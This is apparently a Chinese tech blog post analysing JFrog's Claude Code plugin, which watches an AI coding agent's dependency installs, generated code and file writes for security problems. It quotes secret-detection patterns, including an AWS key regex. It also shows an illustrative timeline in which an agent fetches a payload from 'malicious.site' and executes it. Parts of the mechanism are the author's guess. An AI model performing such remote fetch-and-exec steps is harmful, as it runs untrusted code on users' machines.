JFrog 给 Claude Code 装上安全监督:AI 编码 Agent 的 DevSecOps 时刻

2026/06/12 sec JFrog · Claude Code · AI编码Agent · DevSecOps · 供应链安全 · IDE安全 · 实时监控 · 代码安全 2163 字 · 约 7 分钟 阅读 ...
JFrog 为其软件供应链安全平台发布 Claude Code 插件,实时监控 AI 编码 Agent 在 IDE 中的代码生成、依赖引入、凭证使用等操作。当 Claude Code 试图引入已知漏洞依赖、生成不安全代码模式或泄露凭证时,插件可发出警告或主动拦截。这标志着软件供应链安全正式进入 Agent 时代。

6月11日,JFrog 宣布为其软件供应链安全平台发布了一个 Claude Code 插件。消息很短,但信号很强——软件供应链安全厂商终于开始正面回击 AI 编码 Agent 带来的安全风险了

为什么这步棋来得正是时候

先看几个数字。Claude Code(以及同类的 Cursor、Copilot Coding Agent)被越来越多的开发团队采用,但安全团队的焦虑也在同步增长:

  • AI 编码 Agent 在 IDE 中自动引入依赖包,可能带进已知漏洞
  • AI 生成的代码模式可能包含安全缺陷(SQL 注入、路径遍历、硬编码密钥)
  • AI 在开发过程中可能误触凭证和密钥,写入代码或提交到 git
  • AI 的操作速度远超人工审核——一个 pip install 只需要几百毫秒

传统做法是等代码提交后在 CI 阶段跑 SAST/SCA 扫描。但在 AI Agent 时代,问题发现得越晚,修复成本越高——Agent 可能已经生成了几十个文件,引入了几十个依赖。

JFrog 插件是怎么做的

根据现有信息,JFrog 的 Claude Code 插件的核心能力可以归纳为三个实时监督维度

1. 依赖引入拦截

当 Claude Code 执行 pip install packageX 或修改 package.json 时,插件实时查询 JFrog Xray 的漏洞数据库(包含 CVE、OSS Index 等多个数据源):

Claude Code: "我们需要一个YAML解析库,让我安装 PyYAML..."
    ↓
JFrog 插件拦截 `pip install PyYAML==5.3`
    ↓
查询 Xray 数据库 → PyYAML 5.3 存在 CVE-2020-14343 (拒绝服务)
    ↓
警告用户: "PyYAML 5.3 包含已知漏洞,建议使用 6.0+"
    ↓
允许 / 阻断(取决于策略配置)

2. 代码生成安全审查

与传统的 CI 阶段 SAST 不同,JFrog 插件在代码被写入磁盘的瞬间进行安全审查:

传统 SASTJFrog Claude Code 插件
代码提交后扫描代码生成时实时扫描
修复需要人工二次提交修改建议即时生效
扫描整个代码库(分钟级)扫描增量代码(毫秒级)
开发者收到告警时已隔数小时开发者还在 IDE 中时即告警

3. 凭证泄露检测

AI Agent 的一大风险是它可能会读取配置文件中的密钥、token 或密码,然后不经意地将其写入代码中。JFrog 插件在文件的 write 操作上挂载了凭证检测钩子——如果 claude_code 试图写入一个包含 -----BEGIN PRIVATE KEY-----AKIA[0-9A-Z]{16} 等模式的内容,插件会立即阻断。

这项技术背后的工程挑战

挑战一:实时性 vs 准确性

在 IDE 中做安全扫描,延迟是关键。JFrog Xray 的漏洞数据库有百万级记录,如果每次依赖引入都做全库查询,用户的 IDE 会卡死。

解决方案:插件只扫描增量变更。每次扫描范围仅限于:

  • 新引入的依赖包名 + 版本(精确查找,不做范围模糊匹配)
  • 新增/修改的代码行(不做全文件扫描)
  • 文件写入时的内容(按模式匹配,不做深度分析)

挑战二:Agent 操作的上下文理解

Claude Code 的操作是链式的——它可能先安装一个依赖,然后用这个依赖处理数据,最后把数据写入文件。单独看每一步可能都正常,但组合起来可能是一个攻击链。

JFrog 的解法应该是在插件端维护一个操作上下文

[时间线]
T+0s: pip install requests@2.25.1 → ✅ 正常(但版本有CVE,警告)
T+2s: import requests
T+5s: requests.get("https://malicious.site/payload") → ⚠️ 外部IP不在白名单
T+8s: exec(payload) → 🚫 阻断,行为异常

挑战三:用户授权边界

这是最难的问题——Claude Code 被用户授权在本地跑代码,插件能拦截它的操作吗?

技术上,JFrog 插件的拦截能力不是通过”劫持”Claude Code 实现的,而是通过监听文件系统事件 + 拦截 shell 命令执行来实现的。这类似于端点检测和响应(EDR)的思路——监听系统调用,而不是劫持应用程序。

对行业的启示

JFrog 这一步的意义不在于一个插件本身,而在于它定义了 AI 编码 Agent 安全监督的一种范式

  1. 嵌入开发流程:安全不是事后审核,而是实时监督。在 Agent 写代码的同时做安全检查
  2. 运行时而非扫描时:在 AI Agent 执行操作的 runtime 做判断,不是等 CI 跑完后出报告
  3. 供应链视角:不只是看代码安全,更关注引入了什么依赖、从哪来的、什么版本

这可能是未来所有供应链安全平台的标配能力。今天 JFrog 做 Claude Code 插件,明天 Snyk 做 Cursor 插件,后天 Sonatype 做 Copilot 插件——到 2027 年,不提供 IDE 内 AI Agent 安全监督的供应链安全平台,可能都没资格参加选型。

值得关注的后续

这几个方向值得持续跟踪:

  • 插件是否开源? 如果 JFrog 开源这个插件,它会成为 AI 编码 Agent 安全监督的事实标准
  • 是否支持其他 Agent? 目前只支持 Claude Code,如果后续扩展支持 Cursor/Copilot/Windsurf,价值会倍增
  • 检测规则是否可自定义? 企业级部署需要能写自己的规则(”我们公司不允许用 GPL 协议的包”“API key 必须从 vault 获取”)

JFrog 这一步跨出去之后,赛道已经画好了。等着看其他人怎么跟。

文档信息